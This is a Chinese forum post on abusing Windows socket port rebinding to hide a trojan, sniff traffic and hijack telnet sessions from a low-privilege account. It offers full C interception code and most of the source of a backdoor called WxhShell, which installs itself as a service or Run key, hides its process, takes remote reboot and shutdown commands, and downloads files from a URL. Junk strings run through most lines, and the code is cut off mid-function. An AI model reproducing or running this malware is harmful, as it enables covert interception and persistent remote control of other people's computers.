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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [^}bc-9?i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9v;[T%%  
HU/4K7e`  
  saddr.sin_family = AF_INET; &L?]w=*  
eP:\\; ;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l$j~p=S$F  
X6Z/xb@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q {   
cE`qfz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %7`eT^  
$-pijBiz_  
  这意味着什么?意味着可以进行如下的攻击: x 2&5zp  
+924_,zF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "2-D[rYZ  
Z]{=Jy !F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mDp8JNJNE  
{ g[kn^|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ndDF(qHr  
"AXgT[ O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G#`  
fW=<bf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >)NS U  
cy? #LS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =2( 52#pT  
GY@:[u.&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J9tV|0  
K/Y"oQ2  
  #include \}n_Sk  
  #include 4noy!h  
  #include 'J0I$-QYk  
  #include    XPdqE`w=$p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X!~y&[;[C  
  int main() -{Ar5) ?='  
  { 2{BS `f  
  WORD wVersionRequested; di+ |` O  
  DWORD ret; JQej$=*  
  WSADATA wsaData; x;:jF_  
  BOOL val; & +k*+  
  SOCKADDR_IN saddr; A2L"&dl  
  SOCKADDR_IN scaddr; ?-2s}IJO  
  int err; <VstnJo`Z  
  SOCKET s; ~&<vAgy,  
  SOCKET sc; Crj7n/mp]s  
  int caddsize; Mr4,?Z&`-d  
  HANDLE mt; =vF!  
  DWORD tid;   0Ba]Zo Z  
  wVersionRequested = MAKEWORD( 2, 2 ); h$9ut@I  
  err = WSAStartup( wVersionRequested, &wsaData ); .]4MtG  
  if ( err != 0 ) { 60ciI,_`  
  printf("error!WSAStartup failed!\n"); A\9LJ#E  
  return -1; 0uM&F[.x@g  
  } RS&BS;  
  saddr.sin_family = AF_INET; -e0[$v  
   Ylu\]pr9|C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8BZ&-j{  
<2<2[F5Q%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qgfP6W$  
  saddr.sin_port = htons(23); !fe_w5S^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @^ &p$:  
  { Z;1r=p#s  
  printf("error!socket failed!\n"); H0])>1sWB  
  return -1; 9Qu(RbDqC  
  } =<PEvIn  
  val = TRUE; stW G`>X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s~>1TxJe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NySa%7@CD  
  { #U w X~  
  printf("error!setsockopt failed!\n"); 8EdaxeDq  
  return -1; ;-"q;&1e  
  } [lSQMoi3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O x`K7$)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Sa@'?ApH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j+ L:Ao  
{' 0#<Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?VRsgV'$  
  { `J03t\  
  ret=GetLastError(); nq>F_h  
  printf("error!bind failed!\n"); ?tqJkL#  
  return -1; uF}B:53A  
  } za 7+xF  
  listen(s,2); z6B#F<h  
  while(1) tq'ri-c&b  
  { |dqESl,2  
  caddsize = sizeof(scaddr); [S~Bt78d%r  
  //接受连接请求 1/;E8{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~9#x=nU:+V  
  if(sc!=INVALID_SOCKET) ;P;c!}:\b  
  { :qB|~"9O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a(?)r[=  
  if(mt==NULL) ?GhMGpd Mq  
  { Z'!ORn#M  
  printf("Thread Creat Failed!\n"); {{M/=WqC  
  break; }hg2}g99  
  } W4k$m 2  
  } s>\^dtG7  
  CloseHandle(mt); B@dCCKc%/  
  } ^"=G=* /  
  closesocket(s); 9v-Y*\!w.  
  WSACleanup(); /~;!Ew|q  
  return 0; kkb+qo  
  }   b$*2bSdv0<  
  DWORD WINAPI ClientThread(LPVOID lpParam) W|zPV`  
  { o_k)x3I?  
  SOCKET ss = (SOCKET)lpParam; {n|Uf 5  
  SOCKET sc; UmGKj9u  
  unsigned char buf[4096]; kF,ME5%  
  SOCKADDR_IN saddr; /)K;XtcN  
  long num; j%bC9UkE3  
  DWORD val; 5cU:wc  
  DWORD ret; Rcw[`q3/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 's5rl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;Sg.E 8  
  saddr.sin_family = AF_INET; L%\Wt1\[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iOb7g@=  
  saddr.sin_port = htons(23); 0#uB[N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qhc; Zl  
  { (^g XO  
  printf("error!socket failed!\n"); A! HJ  
  return -1; &)||~  
  } cbm;45 L|  
  val = 100; oUN\tOiS+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .o C! ~'  
  { \~Z%}$ =  
  ret = GetLastError(); T KAs@X,t  
  return -1; ^^B_z|;Aa  
  } ZPb30M0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m]fUV8U  
  { -D=Sj@G  
  ret = GetLastError(); kRX?o'U~C  
  return -1; j} ^3v #  
  } M1#CB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hjFht+j1  
  { @>~\So|  
  printf("error!socket connect failed!\n"); HB}rpiB  
  closesocket(sc); RU6c 8>"  
  closesocket(ss); kb/BE J  
  return -1; #wRhR>6  
  } kMnG1K  
  while(1) LJ@r+|>  
  { |Z2"pV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #Cu$y8~as  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q%$p56\?3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #Y'b?&b  
  num = recv(ss,buf,4096,0); hqjjd-S0  
  if(num>0) Y[}A4`  
  send(sc,buf,num,0); * O?Yp%5NH  
  else if(num==0) Q#qfuwz  
  break; i+~BVb  
  num = recv(sc,buf,4096,0); 2?Jw0Wq5D  
  if(num>0) tQNrDp+  
  send(ss,buf,num,0); C3f\E: D)  
  else if(num==0) 9=T;Dxn  
  break; w4TQ4 Y  
  } '2<r{  
  closesocket(ss); kAPSVTH$v  
  closesocket(sc); ?{`7W>G  
  return 0 ; m&xVlS  
  } ]Z6? m  
S`FIb'J  
Dr%wab"yy  
========================================================== %3#C0%{x  
hf2bM `d  
下边附上一个代码,,WXhSHELL Avi_]h&  
_<sN54  
========================================================== h\3-8m  
Y2.zT6i  
#include "stdafx.h" eXK3W2XF  
Z^as ?k(iM  
#include <stdio.h> il !B={  
#include <string.h> >8OY6wb  
#include <windows.h> 5.&)hmpg  
#include <winsock2.h> g9VY{[ V  
#include <winsvc.h> ~AX~z)  
#include <urlmon.h> $*%,  
T7.SjR6X>  
#pragma comment (lib, "Ws2_32.lib") Jx}-Y* o  
#pragma comment (lib, "urlmon.lib") j_<!y(W  
ysIhUpd  
#define MAX_USER   100 // 最大客户端连接数 $rr@3H+  
#define BUF_SOCK   200 // sock buffer m26YAcip}  
#define KEY_BUFF   255 // 输入 buffer ?(d1;/0v>  
N AY3.e  
#define REBOOT     0   // 重启 u?dPCgs;h  
#define SHUTDOWN   1   // 关机 {xov8 M  
3Xd:LDZ{  
#define DEF_PORT   5000 // 监听端口 5toa@#Bc%  
AL3iNkEa  
#define REG_LEN     16   // 注册表键长度 J9]cs?`)  
#define SVC_LEN     80   // NT服务名长度 z5M6  
-40X3  
// 从dll定义API HSRO gBNI:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HNBmq>XDc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vFntzN>#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a oU"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W~D_+[P|_  
Q]N&^ E  
// wxhshell配置信息 =|IlORf<  
struct WSCFG { E/%"%&`8j  
  int ws_port;         // 监听端口 w@cW`PlF  
  char ws_passstr[REG_LEN]; // 口令 v]F4o1ckk  
  int ws_autoins;       // 安装标记, 1=yes 0=no kV?fie<\)  
  char ws_regname[REG_LEN]; // 注册表键名 Bz-jy.  
  char ws_svcname[REG_LEN]; // 服务名 v=lW5%r,'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !1=OaOT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !f52JQyh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $'Mf$h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +#BOWz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^ `Ozw^~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sm4BZF~!B  
 ]gcOMC  
}; 9+N%Io?!  
EXVZ?NG  
// default Wxhshell configuration ll X `  
struct WSCFG wscfg={DEF_PORT, ?%Nh4+3N>  
    "xuhuanlingzhe", [t fB*m5  
    1, ~BJE~  
    "Wxhshell", Pm/i,T6&\  
    "Wxhshell", *{fs{gFw9  
            "WxhShell Service", AK&>3D  
    "Wrsky Windows CmdShell Service", |w{Qwf!2  
    "Please Input Your Password: ", \b(&-=(  
  1, ~KMah  
  "http://www.wrsky.com/wxhshell.exe", E;C{i  
  "Wxhshell.exe" '0q$qN  
    }; *qO) MpG{  
Nv36#^Z  
// 消息定义模块 iD_y@+iz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T Q4L~8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T&]-p:mg^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |JYb4J4Ni  
char *msg_ws_ext="\n\rExit."; LiT%d  
char *msg_ws_end="\n\rQuit."; A2M( ad  
char *msg_ws_boot="\n\rReboot..."; d8jH?P-"  
char *msg_ws_poff="\n\rShutdown..."; -9= DDoO  
char *msg_ws_down="\n\rSave to "; ySO\9#Ho  
9c)#j&2?H  
char *msg_ws_err="\n\rErr!"; ;Hk3y+&]a  
char *msg_ws_ok="\n\rOK!"; (wZ!OLY%}  
qovsM M  
char ExeFile[MAX_PATH]; <YFDS;b|  
int nUser = 0; U0j>u*yE  
HANDLE handles[MAX_USER]; qD>^aEd@4  
int OsIsNt; _`\!+qGq  
YWH>tt 9  
SERVICE_STATUS       serviceStatus; ;NRh0)%|o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PJN9[Y{^3  
B1nm?E 0i  
// 函数声明 0!dNW,NfJ  
int Install(void); o6O-\d7^M  
int Uninstall(void); k"i3$^v8  
int DownloadFile(char *sURL, SOCKET wsh); BM /FOY;  
int Boot(int flag); 8Zsaq1S  
void HideProc(void); <5z!0m-G  
int GetOsVer(void); VrZfjpV  
int Wxhshell(SOCKET wsl); ^*.$@M  
void TalkWithClient(void *cs); Ju47}t%HB  
int CmdShell(SOCKET sock); VM\R-[  
int StartFromService(void); "E2 0Y"[h  
int StartWxhshell(LPSTR lpCmdLine); ]}rNxT4<  
raPOF6-_rH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vNs%e/~vj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @L!^2v  
mk1R~4v  
// 数据结构和表定义 OmWEa  
SERVICE_TABLE_ENTRY DispatchTable[] = f't.?M  
{ K)Lo Z^x0)  
{wscfg.ws_svcname, NTServiceMain}, 3i!a\N4 K  
{NULL, NULL} `X@\Zv=}  
}; d|NW&PG  
,6g{-r-2  
// 自我安装 6Oy:5Ps8a  
int Install(void) 6;'[v}O^^  
{ P knOeW"j  
  char svExeFile[MAX_PATH]; X|hYZR  
  HKEY key; LQPQ !):;  
  strcpy(svExeFile,ExeFile); <9fXf*  
AEyD?^?  
// 如果是win9x系统,修改注册表设为自启动 iiq `:G  
if(!OsIsNt) { :wIA.1bK}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MZh.Xo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F7JO/U^oU  
  RegCloseKey(key); 6L8nw+mEK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %MHL@Nn>e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9S]pC?N]E  
  RegCloseKey(key); U U_0@V<  
  return 0; ^vd$j-kjTP  
    } LvG$J*  
  } }=bzUA`C  
} UDi(7c0.  
else { iw,uwh|L  
PkDt-]G.  
// 如果是NT以上系统,安装为系统服务 'W_NRt:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]C,j80+pK  
if (schSCManager!=0) %;QK5L   
{ ,g7O   
  SC_HANDLE schService = CreateService hTLf$_|P  
  ( tB>!1}v  
  schSCManager, z]8Mv(eL  
  wscfg.ws_svcname, JE9v+a{7  
  wscfg.ws_svcdisp, ZNw|5u^N  
  SERVICE_ALL_ACCESS, t^":.}[Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D|ze0A@  
  SERVICE_AUTO_START, o!UB x<4  
  SERVICE_ERROR_NORMAL, ! I?C8)  
  svExeFile, 2: gh q  
  NULL, j13- ?fQ&  
  NULL,  mU4(MjP?  
  NULL, )4uWB2ZRoi  
  NULL, A2ye ^<-C.  
  NULL BGibBF^  
  ); ck] I?  
  if (schService!=0) aYa`ex  
  { -nNKUt.I  
  CloseServiceHandle(schService); F!#)l*OX;  
  CloseServiceHandle(schSCManager); im &N &A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AQjv? 4)T  
  strcat(svExeFile,wscfg.ws_svcname); R5=J:o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yP$esDP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3'.3RKV  
  RegCloseKey(key); R&W%E%uj  
  return 0; bDWL Hdu a  
    } G]aey>)  
  } ~Re4zU  
  CloseServiceHandle(schSCManager); 9]=J+ (M  
} jq)Bj#'7  
} o i'iZX  
),N,!15j,  
return 1; ~fkcal1@  
} q#AEu xI1  
M(+Pd_c6  
// 自我卸载 4Px|:7~wT8  
int Uninstall(void) a+LK~mC*  
{ =a,qRO  
  HKEY key; x]wi&  
=p.avAuSn  
if(!OsIsNt) { FA-cTF[,(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K]$PRg1| 3  
  RegDeleteValue(key,wscfg.ws_regname); ^O7sQ7V"f=  
  RegCloseKey(key); Fj<*!J$,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l3b=8yn.  
  RegDeleteValue(key,wscfg.ws_regname); h!SsIy(  
  RegCloseKey(key); kNWTM%u9  
  return 0; 'M6+(`x  
  } G)s.~ T  
}  ri4z^1\  
} f{VV U/$  
else { |Yw k  
6inAnC@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `$jun  
if (schSCManager!=0) hev;M)t  
{ M2cGr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~vDa2D<9%  
  if (schService!=0) {c)\}s(}F  
  { V $I8iVGL  
  if(DeleteService(schService)!=0) { %( 7##f_  
  CloseServiceHandle(schService); 9oc_*V0<  
  CloseServiceHandle(schSCManager); :u9'ZHkZ  
  return 0; DQ+6VPc^o  
  } \l(J6Tu  
  CloseServiceHandle(schService); 5XX)8gAo  
  } P0>2}/;o  
  CloseServiceHandle(schSCManager); +:^l|6%}  
} 'v<v6vs  
} tm5{h{AM  
rVP\F{Q4Tr  
return 1; 0e0)1;t\  
} H'#06zP>5  
h9 DUS,G9,  
// 从指定url下载文件 {K+f& 75  
int DownloadFile(char *sURL, SOCKET wsh) %]7 6u7b/  
{ >#:SJ?)`T  
  HRESULT hr; 8?LT*>!  
char seps[]= "/"; 2Pm}wD^`  
char *token; TsT5BC63  
char *file; %bTuE' `b  
char myURL[MAX_PATH]; pqO0M]}  
char myFILE[MAX_PATH]; h%F.h![*  
9 l~D}5e7  
strcpy(myURL,sURL); r}qDvC D  
  token=strtok(myURL,seps); py\:u5QS  
  while(token!=NULL) Qqg.z-G%.  
  { g|uyQhsg  
    file=token; !D['}%  
  token=strtok(NULL,seps); #%QHb,lhl  
  } G?@W;o)  
\k=dqWBr7  
GetCurrentDirectory(MAX_PATH,myFILE); }&/>v' G  
strcat(myFILE, "\\"); nxhlTf>3  
strcat(myFILE, file); :y7K3:d3  
  send(wsh,myFILE,strlen(myFILE),0); P9 HKev?y  
send(wsh,"...",3,0); M7?ktK9`ma  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {E%c%zzQ  
  if(hr==S_OK) I H=$ w c  
return 0; kP$ E+L  
else ',g%L_8Sq  
return 1; o3+s.7 "  
rP]|`*B  
} _D}3``  
4o M~  
// 系统电源模块 Lqxh y s  
int Boot(int flag) ^BLO}9A{P  
{ 1_S]t[?I/  
  HANDLE hToken; nZnqXclzxn  
  TOKEN_PRIVILEGES tkp; TO89;O  
\{ | GK  
  if(OsIsNt) { 0<v5_ pB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PP$2s]{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AP%R*0]  
    tkp.PrivilegeCount = 1; >?K=l]!(*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; })<u ~r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O^CBa$  
if(flag==REBOOT) { uQc("F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F-zIzzb&O  
  return 0; h[qZM  
} ?7wcv$K5  
else { -V;Y4,:c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ox`Zs2-a  
  return 0; ppn  8  
} <QvVPE}z   
  } RuYIG?J=/  
  else { 67&IaDts  
if(flag==REBOOT) { I)1ih  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ] / Nt  
  return 0; 7xO05)bz  
} _+ 9i  
else { |U1 [R\X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "{~FEx4  
  return 0; ]cP%d-x}  
} zAM9%W2v_  
} @~s5{4  
*(5;5r  
return 1; @!oN]0`F;  
} V  H`_  
9;%$  
// win9x进程隐藏模块 @,1_CqV  
void HideProc(void) %T>@Ldt  
{ &iw,||#  
HdtGyh6X0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4|&/# Cz^Y  
  if ( hKernel != NULL ) 8tSY|ME  
  { _Ycz@Jn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %[KnpJ{\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  kSEA  
    FreeLibrary(hKernel); \y?*} L  
  } |DW^bv  
+|bmUm<2  
return; ]vB^%  
} tH;9"z# ~  
X\!q8KEpR&  
// 获取操作系统版本 1J1Jp|j.  
int GetOsVer(void) i_m& qy<v  
{ l opl  
  OSVERSIONINFO winfo; {@L{l1|0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u q 9mq"  
  GetVersionEx(&winfo); =%I[o=6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u,iiS4'Ze  
  return 1; OQ2G2>p  
  else ha|2u(4  
  return 0; 0_je@p+$  
} XOqHzft h6  
QE"$Lc)  
// 客户端句柄模块 vh"';L_*37  
int Wxhshell(SOCKET wsl) $I-iq @  
{ 3F;0a ;[  
  SOCKET wsh; m`zd0IRTP  
  struct sockaddr_in client; w7~]c,$y.  
  DWORD myID; 1f^oW[w&  
bny@AP(CY+  
  while(nUser<MAX_USER) rkS'OC  
{ +Q_xY>ej  
  int nSize=sizeof(client); +e>G V61  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  >h2qam  
  if(wsh==INVALID_SOCKET) return 1; "K>!+<  
9{nU\am!\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _6.@^\;  
if(handles[nUser]==0) Bz ,D4 E$  
  closesocket(wsh); p=[dt  
else 7Y~5gn  
  nUser++; u* iqwm.  
  } 7>7n|N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g-#eMQ%J  
QP<P,Bi~  
  return 0; moVf(7  
} #|769=1  
ZHA&gdK@  
// 关闭 socket 3<FqK\P  
void CloseIt(SOCKET wsh) H"pYj  
{ }T902RL0  
closesocket(wsh); vQXF$/S  
nUser--; myXGMN$i  
ExitThread(0); Jt8M;Yk  
} P >0S ZP  
Brg0:5H   
// 客户端请求句柄 ]lJ#|zd8o  
void TalkWithClient(void *cs) ArX*3  
{ Jp)PKS ![  
Gg6cjc=dC  
  SOCKET wsh=(SOCKET)cs; $+e(k~  
  char pwd[SVC_LEN]; {3vm]  
  char cmd[KEY_BUFF]; 7m8:odeF  
char chr[1]; 6"?#s/fk  
int i,j; lKI]q<2  
,trh)ZZYW|  
  while (nUser < MAX_USER) { \iEJ9V  
ZKI` ;  
if(wscfg.ws_passstr) { PK?}hz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D0f7I:i1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S#+ _HFUK{  
  //ZeroMemory(pwd,KEY_BUFF); .*EP$pc  
      i=0; (#je0ES  
  while(i<SVC_LEN) { IP !zg|c,  
QKz2ONV=)  
  // 设置超时 cEJ_z(\=hr  
  fd_set FdRead; ~c1~) QzZ  
  struct timeval TimeOut; u_WW uo  
  FD_ZERO(&FdRead); ~|KMxY(:  
  FD_SET(wsh,&FdRead); T^ xp2cZ  
  TimeOut.tv_sec=8; H'EBe;ccM  
  TimeOut.tv_usec=0; #2.C$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5hCfi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mn<ea&  
*LmzGF|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U_B`SS  
  pwd=chr[0]; A^c5CJ_  
  if(chr[0]==0xd || chr[0]==0xa) { ; zy;M5l5.  
  pwd=0; _x#r,1V+D  
  break; i3Nt?FSN  
  } +xmZK<{<  
  i++; Git2Cet  
    } SR)@'-Wd  
'?fn} V  
  // 如果是非法用户,关闭 socket Yu^}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v g tJ+GjN  
} [iSLn3XXRX  
x~yd/ R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +fIy eX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S 1Ji\  
1 gRR  
while(1) { .fW`/BXE  
V|0UwS\n  
  ZeroMemory(cmd,KEY_BUFF); -H_7GVSnl  
/ dn]`Ge)  
      // 自动支持客户端 telnet标准   p@znmn-  
  j=0; t;ga>^NA"  
  while(j<KEY_BUFF) { gD fVY%[Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7@VR:~n}k  
  cmd[j]=chr[0]; GHWpL\A{8`  
  if(chr[0]==0xa || chr[0]==0xd) { M9S[{Jj*  
  cmd[j]=0; -3b0;L&4>x  
  break; lu.2ZQE  
  } Ki@8  
  j++; X4*/h$48 w  
    } C[$<7Mi|;  
l}c<eEfOy"  
  // 下载文件 `wG&Cy]v  
  if(strstr(cmd,"http://")) { %n c+VL4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g(;ejKSR  
  if(DownloadFile(cmd,wsh)) N=L urXv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~`6~qg.  
  else ae1fCw3k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ck<4_?1]  
  } K<_H`k*x  
  else { <$9AP  
X!_OOfueP8  
    switch(cmd[0]) { Kd,m;S\  
  XJOo.Y  
  // 帮助 -)<Nd:A  
  case '?': { h; unbz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !p9F'7;Y<  
    break; @fYA{-ZC  
  } ? 8!N{NV  
  // 安装 cRfX  
  case 'i': { @o^sp|k !  
    if(Install()) Vgm{=$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'0Il"g'  
    else ,>jm|BTD {  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bFx?HM.AGW  
    break; V[#lFl).  
    } Ul@' z|  
  // 卸载 $1@{Zz!S  
  case 'r': { Hm^p^,}_x  
    if(Uninstall()) {S&&X&A`v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[hJi3xM  
    else Rx<pV_|H,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XKK*RVs#  
    break; <(t<gS#  
    } " 7 4L  
  // 显示 wxhshell 所在路径 ]V]o%onW  
  case 'p': { XF$C)id2p  
    char svExeFile[MAX_PATH]; nW%c95E  
    strcpy(svExeFile,"\n\r"); +1623E  
      strcat(svExeFile,ExeFile); Gsh2  
        send(wsh,svExeFile,strlen(svExeFile),0); 3a S>U #  
    break; -T(V6&'Qi  
    } Zj^H3 h  
  // 重启 Z,&ywMm/G  
  case 'b': { 5LK>n-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4%{m7CK}  
    if(Boot(REBOOT)) \%VoX` B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?+P&FL#I  
    else { ?{dno=  
    closesocket(wsh); +]_} \  
    ExitThread(0); Zj0&/S  
    } fj JIF%  
    break; ,J#5Y.  
    } x[kdQj2[&  
  // 关机 zC^Ib&gm>,  
  case 'd': { g/yXPzLU  
